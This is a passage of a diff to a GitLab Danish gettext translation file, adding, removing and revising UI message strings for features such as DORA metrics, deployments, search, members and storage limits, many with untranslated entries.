msgstr "Hver nye Google Cloud Platform-konto (GCP) modtager $300 i kredit ved %{sign_up_link}. I samarbejde med Google kan GitLab tilbyde yderligere $200 til både nye og eksisterende GCP-kontoer for at komme godt i gang med GitLabs Google Kubernetes Engine-integrering."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "Kunne ikke konfigurere EKS-udbyder: %{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Kunne ikke konfigurere Google Kubernetes Engine-klynge: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Kunne ikke køre Kubeclient: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab-integrering"
@@ -9969,6 +10098,9 @@ msgstr "Ingen relaterede sammenlægningsanmodninger fundet"
msgid "Committed by"
msgstr "Committed af"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Fællesskabsforum"
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr "Fortsæt til det næste trin"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "Kontinuerlig integrering og udsendelse"
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr "Land"
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr "Udsendelseshyppighed"
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr "Antal udsendelser"
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "Diagrammet viser mediantiden mellem en sammenlægningsanmodning, der sammenlægges og udsendes i produktionsmiljøer, som er baseret på værdien %{linkStart}deployment_tier%{linkEnd}."
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr "Alle"
msgid "DashboardProjects|Personal"
msgstr "Personlige"
-msgid "DashboardProjects|Trending"
-msgstr "Trending"
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr "Komponentnavn"
msgid "Dependencies|Dependency path"
msgstr "Afhængighedssti"
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "Eksportér som JSON"
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr "Udsendelseshyppighed"
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr "Dynamic Application Security Testing (DAST)"
msgid "E-mail:"
msgstr "E-mail:"
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr "Hvert projekt kan også have en problemstillingsporing og en wiki."
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr "Fejl: der blev ikke angivet nogle AWS-loginoplysninger"
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr "Fejl: kan ikke oprette udsendelsesfrysning"
msgid "Error: Unable to delete deploy freeze"
msgstr "Fejl: kan ikke slette udsendelsesfrysning"
-msgid "Error: Unable to find AWS role for current user"
-msgstr "Fejl: kan ikke finde AWS-rolle for nuværende bruger"
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr "Udløber"
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr "Udløber"
-
msgid "Expires:"
msgstr "Udløber:"
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr "Eksportér"
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Kunne ikke flytte problemstillingen fordi målprojektet ikke findes."
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Kunne ikke promovere etiket på grund af intern fejl. Kontakt venligst administratorer."
@@ -17241,9 +17426,6 @@ msgstr "Filtrér efter"
msgid "Filter by %{page_context_word} that are currently open."
msgstr "Filtrér efter %{page_context_word} som i øjeblikket er åbne."
-msgid "Filter by Git revision"
-msgstr "Filtrér efter Git-revision"
-
msgid "Filter by issues that are currently closed."
msgstr "Filtrér efter problemstillinger som i øjeblikket er lukket."
@@ -17562,18 +17744,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr ""
+
msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
msgid "Format: %{dateFormat}"
msgstr "Format: %{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "Fandt fejl i din %{gitlab_ci_yml}:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "Fandt fejl i din .gitlab-ci.yml:"
-
msgid "Framework successfully deleted"
msgstr "Framework slettet"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr "GPG-nøgler"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr "GPG-nøgler giver dig mulighed for at verificere underskrevne commits."
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr "Globale genveje"
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr "Gruppen %{group_name} blev planlagt til sletning."
msgid "Group %{group_name} was successfully created."
msgstr "Gruppen %{group_name} blev oprettet."
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,8 +19504,8 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr "Seneste aktivitet"
-msgid "GroupImport|Failed to import group."
-msgstr "Kunne ikke importere gruppe."
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "Gruppen '%{group_name}' importeres."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "Hvis du organiserer dine projekter under en gruppe, så virker det som en mappe."
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "Ingen grupper fundet"
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr "Importér gruppe"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr "Personlig adgangstoken"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr "Udfyld venligst GitLab kilde-URL."
@@ -19856,6 +20077,9 @@ msgstr "Udfyld venligst din personlige adgangstoken."
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr "Hvis du tilføjer %{codeStart}behov%{codeEnd} til job i din pipeline, så vil du være i stand til at vise %{codeStart}behovrelationer%{codeEnd} mellem job i fanebladet som en %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr "Import af projektet mislykkedes"
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr "Håndtering af integrering på instansniveau"
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr "Grund-URL for Jira-instansen."
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr "Er du sikker på, at du vil fortsætte?"
@@ -23933,9 +24193,6 @@ msgstr "Kubernetes-klynger"
msgid "Kubernetes cluster"
msgstr "Kubernetes-klynge"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "Kubernetes-klyngeintegrering og -ressourcer er ved at blive fjernet."
@@ -24096,9 +24353,6 @@ msgstr "Sidste pipeline"
msgid "Last Seen"
msgstr "Sidst set"
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr "Sidst brugt"
@@ -24231,6 +24485,9 @@ msgstr "Lær mere"
msgid "Learn More."
msgstr "Lær mere."
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr "Lær mere om at underskrive commits"
-
msgid "Learn more in the"
msgstr "Lær mere i"
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr "HÃ¥ndter web-IDE-funktioner."
@@ -25173,6 +25427,9 @@ msgstr "Mærk problemstillingen som relateret til en anden problemstilling"
msgid "Mark to do as done"
msgstr "Mærk gøremål som færdig"
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr "Hjælp for Markdown"
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr "Mærkede problemstillingen som et duplikat af %{duplicate_param}."
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr "Mærkede problemstillingen som relateret til %{issue_ref}."
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr "Mærker problemstillingen som et duplikat af %{duplicate_reference}."
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr "Mærker problemstillingen som relateret til %{issue_ref}."
@@ -25599,6 +25850,9 @@ msgstr "Invitation til at deltage i %{project_or_group} %{project_or_group_name}
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr "Medlemskab"
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr "%{time} af %{user}"
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr "2FA"
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr "Der opstod en fejl under forsøg på at aktivere LDAP-tilsidesættelse. Prøv venligst igen."
@@ -25666,11 +25938,11 @@ msgstr "Er du sikker på, at du vil forlade \"%{source}\"?"
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr "Er du sikker på, at du vil fjerne \"%{groupName}\"?"
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
-msgstr "Er du sikker på, at du vil fjerne %{usersName} fra \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
+msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
-msgstr "Er du sikker på, at du vil fjerne det forældreløse medlem fra \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
+msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
msgstr "Er du sikker på, at du vil tilbagekalde invitationen til %{inviteEmail} om at deltage i \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr "Er du sikker på, at du vil tilbagekalde invitationen til %{inviteEmail}
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr "Direkte"
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr "Deaktiveret"
@@ -25708,6 +25986,9 @@ msgstr "Nedarvet"
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr "Forlad \"%{source}\""
@@ -25735,6 +26016,12 @@ msgstr "Søg efter grupper"
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr "Afvis adgang"
@@ -26020,10 +26307,13 @@ msgstr "Fejl ved afskedigelse af popover med forslag. Prøv venligst igen."
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Fejl ved indlæsning af hele diff'en. Prøv venligst igen."
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "Ingen filer fundet"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr "Meddelelse"
msgid "Messages"
msgstr "Meddelelser"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr "Metode"
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr "Vælg milepæl"
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "Lukket:"
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr "Navn"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr "Navnet må ikke være tomt"
@@ -26939,6 +27244,9 @@ msgstr "Navnet er allerede taget"
msgid "Name is already taken."
msgstr "Navnet er allerede taget."
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Navngiv ny etiket"
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] "%{namespace_name} indeholder %{locked_project_count} låst projekt"
msgstr[1] "%{namespace_name} indeholder %{locked_project_count} låste projekter"
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
-msgstr "%{namespace_name} er nu skrivebeskyttet. Du kan ikke: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
+msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
-msgstr "Hvis du når 100 %% lagerkapacitet, så vil du ikke være i stand til at: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
+msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Hjælp"
@@ -27201,9 +27542,6 @@ msgstr "Ny udsendelsesnøgle"
msgid "New directory"
msgstr "Ny mappe"
-msgid "New discussion"
-msgstr "Ny debat"
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr "Ingen etiket"
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr "Ingen licens. Alle rettigheder forbeholdt"
-
msgid "No matches found"
msgstr "Ingen match fundet"
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr "Normal tekst"
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
